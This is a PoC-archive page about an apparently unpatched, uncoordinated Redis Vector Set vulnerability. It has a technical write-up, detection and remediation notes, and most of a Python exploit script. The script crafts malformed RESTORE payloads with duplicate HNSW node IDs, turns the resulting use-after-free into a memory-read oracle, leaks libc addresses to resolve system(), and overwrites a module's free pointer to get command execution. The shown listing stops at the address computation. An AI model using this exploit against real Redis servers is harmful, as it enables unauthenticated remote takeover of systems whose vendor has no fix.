PoC Archive PoC Archive
Critical None assigned as of 2026-07-03 unpatched

Redis Vector Set Duplicate HNSW Node ID RCE

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
Critical
CVE
None assigned as of 2026-07-03
Category
network
Affected product
Redis server, Vector Set module (modules/vector-sets)
Affected versions
Tested commit 5b22a09918743ba72952e35e431db23eb3d19605 (v=255.255.255), Linux x86-64, libc malloc
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-07
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorynetwork
SeverityCritical
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusWeaponized
Tagsredis, vector-set, hnsw, rce, deserialization, use-after-free, heap-corruption, rdb-restore
RelatedN/A

Affected Target

FieldValue
Software / SystemRedis server, Vector Set module (modules/vector-sets)
Versions AffectedTested commit 5b22a09918743ba72952e35e431db23eb3d19605 (v=255.255.255), Linux x86-64, libc malloc
Language / PlatformPython PoC driving Redis over the RESP/TCP protocol
Authentication RequiredNo (assumes network access to an unauthenticated or reachable Redis instance; no Redis AUTH needed by the PoC)
Network Access RequiredYes

Summary

Redis Vector Set RDB/RESTORE deserialization accepts serialized HNSW graph nodes that reuse the same node ID, but the ID-lookup table only tracks one node per ID while the element dictionary tracks nodes by name, so link validation ends up trusting IDs instead of enforcing a strict one-to-one ID-to-object mapping. Removing the dictionary-visible node for a duplicated ID leaves other HNSW links pointing at freed memory, which remains reachable through further graph operations such as VLINKS. By reclaiming freed nodes with attacker-shaped Redis strings, the PoC first builds a 64-bit arbitrary-address read oracle via VLINKS ... WITHSCORES to leak free@GOT/libc/system, and then uses two stale neighbor links during hnsw_reconnect_nodes() to overwrite a live module value’s type and value pointers; deleting the corrupted key routes through freeModuleObject() and invokes system() with an attacker-controlled buffer inside the Redis process. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

hnsw_deserialize_index() populates the HNSW node-ID table and validates links purely by ID, allowing duplicate serialized node IDs to alias distinct node objects; hnsw_delete_node() then invokes hnsw_reconnect_nodes() while stale duplicate-ID neighbor links are still reachable, resulting in a use-after-free that is escalated into an arbitrary read/write primitive and ultimately code execution when the corrupted module value is freed.

Attack Vector

  1. Connect to the target redis-server over its normal TCP command port.
  2. Send a malformed Vector Set RESTORE payload containing duplicate HNSW node IDs.
  3. Remove one duplicate element with VREM, leaving a stale HNSW link pointing at freed memory.
  4. Reclaim the freed allocation with a SET/SETRANGE string shaped as a fake HNSW node.
  5. Use VLINKS ... WITHSCORES against masked probe nodes to read an attacker-selected 64-bit value (read oracle), leaking free@GOT, deriving libc, and resolving system.
  6. Walk keyspace structures with the oracle to locate the target Vector Set module value and two controlled string allocations.
  7. Restore a second malformed Vector Set with two stale neighbor links and reclaim both freed nodes with fake-node-shaped strings.
  8. Trigger hnsw_reconnect_nodes() via VREM so the fake nodes overwrite the module value’s type and value pointers.
  9. DEL the corrupted key, causing freeModuleObject() to dispatch through the overwritten module type pointer and invoke system() with the attacker’s command inside the Redis process.

Impact

Unauthenticated remote command execution inside the Redis server process for any network-reachable Redis instance running the vulnerable Vector Set module code, given the ability to issue standard Redis commands (RESTORE, VREM, VLINKS, SET, DEL, etc.).


Environment / Lab Setup

Target:   redis-server built from commit 5b22a09918743ba72952e35e431db23eb3d19605, libc malloc, Linux x86-64
Attacker: Python 3, network/local access to the Redis TCP port

Proof of Concept

PoC Script

See poc.py in this folder. Sample local verification output is in evidence/local-verification.txt.

1
2
3
4
python3 poc.py \
  --redis-server /path/to/redis/src/redis-server \
  --work-dir /tmp/redis-vset-rce \
  --port 6631

The script starts the target redis-server, drives the duplicate-HNSW-ID RESTORE/VREM/VLINKS/SET/DEL sequence over the Redis protocol to build the read oracle and overwrite the module value, then confirms code execution inside the Redis process by writing a proof marker file to the working directory.


Detection & Indicators of Compromise

Signs of compromise:

  • redis-server process spawning unexpected shell commands or child processes
  • Vector Set keys repeatedly RESTOREd and deleted in rapid succession from a single client connection
  • Crash or SIGSEGV in hnsw_reconnect_nodes()/freeModuleObject() in Redis logs preceding anomalous process activity

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory; Vector Set deserialization should reject duplicate HNSW node IDs and enforce a strict one-to-one ID-to-object mapping
Interim mitigationDisable the Vector Set module on network-reachable Redis instances until patched; restrict Redis network exposure with firewalls/ACLs and require authentication; enable sanitize-dump-payload yes and monitor for anomalous RESTORE payloads

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: redis-vset-duplicate-hnsw-id-rce-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
from __future__ import annotations

import argparse
import os
import pathlib
import re
import shutil
import socket
import struct
import subprocess
import time
from dataclasses import dataclass

RDB_TYPE_MODULE_2 = 7
RDB_VERSION = 14
RDB_MODULE_OPCODE_EOF = 0
RDB_MODULE_OPCODE_UINT = 2
RDB_MODULE_OPCODE_STRING = 5
LUA_TO_OLD_B = 0x1D40
LUA_TO_C0 = 0x2030
MODULETYPE_FREE_OFF = 72
SERVER_DB_OFF = 64
KVSTORE_DICTS_OFF = 152
KVSTORE_NUM_DICTS_OFF = 160
DICT_TABLE0_OFF = 8
DICT_USED0_OFF = 24
DICT_HT_SIZE_EXP0_OFF = 52
KVOBJ_PTR_OFF = 8
KVOBJ_EMBED_HDR_OFF = 16


def p64(x: int) -> bytes:
    return struct.pack("<Q", x & ((1 << 64) - 1))


def rdb_len(n: int) -> bytes:
    if n < 1 << 6:
        return bytes([n])
    if n < 1 << 14:
        return bytes([0x40 | (n >> 8), n & 0xFF])
    if n <= 0xFFFFFFFF:
        return b"\x80" + struct.pack(">I", n)
    return b"\x81" + struct.pack(">Q", n)


def mod_uint(n: int) -> bytes:
    return rdb_len(RDB_MODULE_OPCODE_UINT) + rdb_len(n)


def mod_str(b: bytes) -> bytes:
    return rdb_len(RDB_MODULE_OPCODE_STRING) + rdb_len(len(b)) + b


def module_type_id(name: str, encver: int = 0) -> int:
    cset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"
    out = 0
    for ch in name:
        out = (out << 6) | cset.index(ch)
    return (out << 10) | encver


MODULE_ID = module_type_id("vectorset")


def fbits(f: float) -> int:
    return struct.unpack("<I", struct.pack("<f", f))[0]


def hnode_qbin(name: bytes, vec: bytes, node_id: int, links: list[int], max_links: int | None = None) -> bytes:
    if max_links is None:
        max_links = max(32, len(links))
    params = [node_id, (1 << 24) | 0, len(links), max_links, *links]
    params += [((fbits(1.0) << 32) | 0) if links else 0, fbits(1.0)]
    out = mod_str(name) + mod_str(vec) + mod_uint(len(params))
    for q in params:
        out += mod_uint(q)
    return out


def restore_payload_65_masks() -> bytes:
    masks = [0] + [1 << i for i in range(64)]
    cids = [2 + i for i in range(len(masks))]
    body = bytes([RDB_TYPE_MODULE_2]) + rdb_len(MODULE_ID)
    body += mod_uint(64)
    body += mod_uint(2 + len(masks))
    body += mod_uint((16 << 8) | 2)
    body += mod_uint(0)
    body += hnode_qbin(b"A", (1).to_bytes(8, "little"), 1, cids, max_links=max(32, len(cids)))
    body += hnode_qbin(b"B", (2).to_bytes(8, "little"), 1, [])
    for i, m in enumerate(masks):
        body += hnode_qbin(f"C{i:02d}".encode(), m.to_bytes(8, "little"), 2 + i, [1])
    body += rdb_len(RDB_MODULE_OPCODE_EOF) + RDB_VERSION.to_bytes(2, "little") + b"\0" * 8
    return body


def hnode_f32(name: bytes, vector: tuple[float, float], node_id: int, layers: list[list[int]]) -> bytes:
    vector_bytes = struct.pack("<ff", *vector)
    level = len(layers) - 1
    params = [node_id, (1 << 24) | level]
    for lev, links in enumerate(layers):
        params += [len(links), 32 if lev == 0 else 16, *links]
        params.append(((fbits(1.0) << 32) | 0) if links else 0)
    params.append(fbits(1.0))
    out = mod_str(name) + mod_str(vector_bytes) + mod_uint(len(params))
    for q in params:
        out += mod_uint(q)
    return out


def payload_two_stale_for_write() -> bytes:
    body = bytes([RDB_TYPE_MODULE_2]) + rdb_len(MODULE_ID)
    body += mod_uint(2) + mod_uint(6) + mod_uint(16 << 8) + mod_uint(0)
    body += hnode_f32(b"A", (1, 0), 1, [[2]])
    body += hnode_f32(b"B", (0, 1), 1, [[]])
    body += hnode_f32(b"F", (0, -1), 3, [[2]])
    body += hnode_f32(b"D", (1, 1), 3, [[]])
    body += hnode_f32(b"C", (-1, 0), 2, [[1, 3]])
    body += hnode_f32(b"E", (-1, -1), 4, [[], []])
    body += rdb_len(RDB_MODULE_OPCODE_EOF) + RDB_VERSION.to_bytes(2, "little") + b"\0" * 8
    return body


def make_req(*args) -> bytes:
    out = b"*" + str(len(args)).encode() + b"\r\n"
    for a in args:
        if isinstance(a, str):
            a = a.encode()
        elif isinstance(a, int):
            a = str(a).encode()
        out += b"$" + str(len(a)).encode() + b"\r\n" + a + b"\r\n"
    return out


def redis_cmd(port: int, *args, timeout: float = 1.0) -> bytes:
    with socket.create_connection(("127.0.0.1", port), timeout=timeout) as s:
        s.settimeout(timeout)
        s.sendall(make_req(*args))
        chunks = []
        while True:
            try:
                part = s.recv(65536)
            except TimeoutError:
                break
            if not part:
                break
            chunks.append(part)
            if len(part) < 65536:
                break
        return b"".join(chunks)


def resp_bulk(resp: bytes) -> bytes:
    if not resp.startswith(b"$"):
        raise RuntimeError(f"expected bulk reply, got {resp[:120]!r}")
    e = resp.index(b"\r\n")
    n = int(resp[1:e])
    if n < 0:
        raise RuntimeError("nil bulk")
    return resp[e + 2:e + 2 + n]


class RespParser:
    def __init__(self, sock: socket.socket):
        self.s = sock
        self.buf = b""

    def need(self, n: int) -> None:
        while len(self.buf) < n:
            chunk = self.s.recv(65536)
            if not chunk:
                raise EOFError("socket closed")
            self.buf += chunk

    def line(self) -> bytes:
        while b"\r\n" not in self.buf:
            chunk = self.s.recv(65536)
            if not chunk:
                raise EOFError("socket closed")
            self.buf += chunk
        i = self.buf.index(b"\r\n")
        line = self.buf[:i]
        self.buf = self.buf[i + 2:]
        return line

    def parse(self):
        self.need(1)
        p = self.buf[:1]
        self.buf = self.buf[1:]
        line = self.line()
        if p in b"+-:,":
            return p, line
        if p == b"$":
            n = int(line)
            if n < 0:
                return None
            self.need(n + 2)
            data = self.buf[:n]
            self.buf = self.buf[n + 2:]
            return data
        if p in b"*%~":
            n = int(line)
            total = n * (2 if p == b"%" else 1)
            return [self.parse() for _ in range(total)]
        raise ValueError((p, line, self.buf[:32]))


def collect_floats(obj) -> list[float]:
    out = []
    if isinstance(obj, bytes):
        if re.fullmatch(rb"[+-]?(?:\d+(?:\.\d*)?|\.\d+)", obj):
            out.append(float(obj))
    elif isinstance(obj, tuple):
        p, line = obj
        if p == b",":
            try:
                out.append(float(line))
            except ValueError:
                pass
    elif isinstance(obj, list):
        for x in obj:
            out.extend(collect_floats(x))
    return out


class FastReader:
    def __init__(self, port: int):
        self.s = socket.create_connection(("127.0.0.1", port), timeout=2)
        self.s.settimeout(2)
        self.r = RespParser(self.s)

    def cmd(self, *args):
        self.s.sendall(make_req(*args))
        return self.r.parse()

    def read64(self, addr: int) -> int:
        self.cmd("SETRANGE", "spray", "11", p64(addr))
        self.s.sendall(b"".join(make_req("VLINKS", "v", f"C{i:02d}", "WITHSCORES") for i in range(65)))
        vals = []
        for i in range(65):
            obj = self.r.parse()
            fs = collect_floats(obj)
            if not fs:
                raise RuntimeError(f"no score for C{i:02d}: {obj!r}")
            vals.append(fs[-1])
        pc0 = round((1.0 - vals[0]) * 64)
        out = 0
        for bit in range(64):
            if round((1.0 - vals[bit + 1]) * 64) < pc0:
                out |= 1 << bit
        return out

    def read8(self, addr: int) -> int:
        return self.read64(addr) & 0xFF

    def read_bytes(self, addr: int, n: int) -> bytes:
        data = bytearray()
        for off in range(0, n, 8):
            data += p64(self.read64(addr + off))
        return bytes(data[:n])

    def close(self) -> None:
        self.s.close()


@dataclass
class KeyEntry:
    name: bytes
    kv: int
    value: int
    keyptr: int


def parse_symbol_offset(binary: pathlib.Path, symbol: str) -> int:
    out = subprocess.check_output(["nm", "-an", str(binary)], text=True)
    for line in out.splitlines():
        parts = line.split()
        if len(parts) >= 3 and parts[2] == symbol:
            return int(parts[0], 16)
    raise RuntimeError(f"could not find symbol {symbol}")


def parse_got_offset(binary: pathlib.Path, symbol: str) -> int:
    out = subprocess.check_output(["readelf", "-rW", str(binary)], text=True)
    for line in out.splitlines():
        if re.search(rf"\b{re.escape(symbol)}@", line):
            return int(line.split()[0], 16)
    raise RuntimeError(f"could not find GOT relocation for {symbol}")


def libc_path(binary: pathlib.Path) -> str:
    out = subprocess.check_output(["ldd", str(binary)], text=True)
    for line in out.splitlines():
        if "libc.so.6" in line:
            m = re.search(r"=>\s+(\S+)", line)
            if m:
                return m.group(1)
            first = line.strip().split()[0]
            if first.startswith("/"):
                return first
    return "/lib/x86_64-linux-gnu/libc.so.6"


def map_base(pid: int, target: pathlib.Path) -> int:
    target_s = str(target)
    for line in pathlib.Path(f"/proc/{pid}/maps").read_text().splitlines():
        if target_s in line and "r--p" in line:
            return int(line.split("-", 1)[0], 16)
    raise RuntimeError("could not locate redis-server mapping")


def libc_offsets(binary: pathlib.Path) -> tuple[int, int]:
    out = subprocess.check_output(["readelf", "-sW", libc_path(binary)], text=True)
    got = {}
    for line in out.splitlines():
        m = re.search(r"\s+([0-9a-fA-F]+)\s+\d+\s+FUNC\s+\w+\s+\w+\s+\d+\s+(free|system)@@", line)
        if m:
            got[m.group(2)] = int(m.group(1), 16)
    if "free" not in got or "system" not in got:
        raise RuntimeError("could not parse libc free/system offsets")
    return got["free"], got["system"]


def start_redis(binary: pathlib.Path, work: pathlib.Path, port: int) -> subprocess.Popen:
    tmp = work / "tmp"
    rundir = tmp / f"rce-nondebug-{port}-{os.getpid()}"
    shutil.rmtree(rundir, ignore_errors=True)
    rundir.mkdir(parents=True, exist_ok=True)
    conf = tmp / f"rce-nondebug-{port}.conf"
    conf.write_text(
        f"port {port}\n"
        "bind 127.0.0.1\n"
        "protected-mode no\n"
        "save \"\"\n"
        "appendonly no\n"
        f"dir {work}\n"
        f"dbfilename rce-nondebug-{port}.rdb\n"
        f"logfile {tmp / f'rce-nondebug-{port}.log'}\n"
        "daemonize no\n"
        "enable-debug-command no\n"
        "sanitize-dump-payload yes\n"
    )
    p = subprocess.Popen([str(binary), str(conf)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    for _ in range(150):
        try:
            if b"PONG" in redis_cmd(port, "PING", timeout=0.2):
                return p
        except Exception:
            time.sleep(0.02)
    raise RuntimeError("Redis did not start")


def runtime_dir(work: pathlib.Path, port: int) -> tuple[pathlib.Path, pathlib.Path | None]:
    if len(work.as_posix()) <= 36:
        return work, None
    roots = []
    if pathlib.Path("/mnt/d").exists():
        roots.append(pathlib.Path("/mnt/d"))
    roots.append(pathlib.Path("/tmp"))
    names = ["rv"] + [f"rv{i}" for i in range(10)] + ["rw", "rx", "ry", "rz"]
    for root in roots:
        for name in names:
            cand = root / name
            if cand.exists() or cand.is_symlink():
                continue
            try:
                cand.mkdir()
                return cand, cand
            except OSError:
                continue
    return work, None


def fake_hnsw_for_read(old_b: int, target: int, length: int = 330) -> bytes:
    d = bytearray(b"Z" * length)

    def put(struct_off: int, bs: bytes) -> None:
        off = struct_off - 5
        d[off:off + len(bs)] = bs

    put(16, p64(target))
    put(288, p64(old_b + 296))
    put(296, p64(old_b + 312) + p64(0))
    put(312, p64(0x10) + p64(1337))
    return bytes(d)


def setrange(port: int, key: str | bytes, off: int, data: bytes) -> None:
    r = redis_cmd(port, "SETRANGE", key, str(off), data, timeout=2)
    if not r.startswith(b":"):
        raise RuntimeError(f"SETRANGE {key!r}@{off} failed: {r!r}")


def key_name_from_kv(fr: FastReader, kv: int) -> tuple[bytes, int]:
    hdr = fr.read8(kv + KVOBJ_EMBED_HDR_OFF)
    keyptr = kv + KVOBJ_EMBED_HDR_OFF + 1 + hdr
    raw = fr.read_bytes(keyptr, 32)
    return raw.split(b"\0", 1)[0], keyptr


def scan_db_keys(fr: FastReader, binary: pathlib.Path, pie: int, max_entries: int = 128) -> list[KeyEntry]:
    server = pie + parse_symbol_offset(binary, "server")
    db = fr.read64(server + SERVER_DB_OFF)
    kvs = fr.read64(db)
    dicts = fr.read64(kvs + KVSTORE_DICTS_OFF)
    num_dicts = fr.read64(kvs + KVSTORE_NUM_DICTS_OFF)
    if num_dicts == 0 or num_dicts > 64:
        raise RuntimeError(f"unexpected kvstore num_dicts={num_dicts} at {kvs:#x}")
    out = []
    seen = set()
    for di in range(num_dicts):
        d = fr.read64(dicts + 8 * di)
        if d == 0:
            continue
        table = fr.read64(d + DICT_TABLE0_OFF)
        used = fr.read64(d + DICT_USED0_OFF)
        exp = fr.read8(d + DICT_HT_SIZE_EXP0_OFF)
        if used == 0 or exp > 20:
            continue
        for bi in range(1 << exp):
            cur = fr.read64(table + 8 * bi)
            depth = 0
            while cur and depth < 32 and len(out) < max_entries:
                if cur & 1:
                    kv = cur
                    nxt = 0
                elif cur & 2:
                    kv = cur & ~7
                    nxt = 0
                else:
                    nxt = fr.read64(cur)
                    kv = fr.read64(cur + 8)
                if kv and kv not in seen:
                    try:
                        name, keyptr = key_name_from_kv(fr, kv)
                        value = fr.read64(kv + KVOBJ_PTR_OFF)
                        out.append(KeyEntry(name=name, kv=kv, value=value, keyptr=keyptr))
                        seen.add(kv)
                    except Exception:
                        pass
                cur = nxt
                depth += 1
    return out


def find_required_keys(fr: FastReader, binary: pathlib.Path, pie: int, required: set[bytes]) -> dict[bytes, KeyEntry]:
    entries = []
    got = {}
    for _ in range(5):
        entries = scan_db_keys(fr, binary, pie)
        got = {e.name: e for e in entries if e.name in required}
        if required.issubset(got.keys()):
            return got
        time.sleep(0.05)
    names = sorted(e.name for e in entries)
    raise RuntimeError(f"missing keys {sorted(required - got.keys())}; saw {names}")


def patch_fake_node(port: int, key: str, content_ptr: int, links_target: int, system_addr: int | None, command: bytes | None) -> None:
    buf = bytearray(b"\0" * 330)
    if command is not None:
        buf[:len(command)] = command
    buf[16 - 5:16 - 5 + 8] = p64(content_ptr + 200)
    buf[200:208] = struct.pack("<ff", 0.0, 0.0)
    if system_addr is not None:
        buf[MODULETYPE_FREE_OFF - 5:MODULETYPE_FREE_OFF - 5 + 8] = p64(system_addr)
    layer = p64(links_target) + struct.pack("<II f I", 0, 1, 0.0, 0)
    buf[312 - 5:312 - 5 + len(layer)] = layer
    setrange(port, key, 0, bytes(buf))


def run(binary: pathlib.Path, work: pathlib.Path, port: int) -> int:
    proof = work / "R"
    try:
        proof.unlink()
    except FileNotFoundError:
        pass
    redis_work, cleanup_link = runtime_dir(work, port)
    if redis_work != work:
        (redis_work / "R").symlink_to(proof)
    p = start_redis(binary, redis_work, port)
    fr = None
    try:
        lua_s = resp_bulk(redis_cmd(port, "EVAL", "return tostring({})", "0", timeout=1)).decode()
        lua_ptr = int(lua_s.split("0x", 1)[1], 16)
        old_b = lua_ptr + LUA_TO_OLD_B
        c0 = lua_ptr + LUA_TO_C0
        print(f"[+] lua={lua_ptr:#x} oldB(read)={old_b:#x} C00={c0:#x}")
        print(f"[+] RESTORE v(read) {redis_cmd(port, 'RESTORE', 'v', '0', restore_payload_65_masks(), 'REPLACE', timeout=2)!r}")
        print(f"[+] VREM v B {redis_cmd(port, 'VREM', 'v', 'B', timeout=1)!r}")
        print(f"[+] SET spray {redis_cmd(port, 'SET', 'spray', fake_hnsw_for_read(old_b, c0 + 8), timeout=1)!r}")
        fr = FastReader(port)
        probe = fr.read64(c0 + 8)
        if probe != 2:
            raise RuntimeError(f"read oracle self-test failed: read C00.id {probe:#x}")
        pie = map_base(p.pid, binary)
        free_got_off = parse_got_offset(binary, "free")
        free_addr = fr.read64(pie + free_got_off)
        free_off, system_off = libc_offsets(binary)
        libc_base = free_addr - free_off
        system_addr = libc_base + system_off
Showing 500 of 562 lines View full file on GitHub →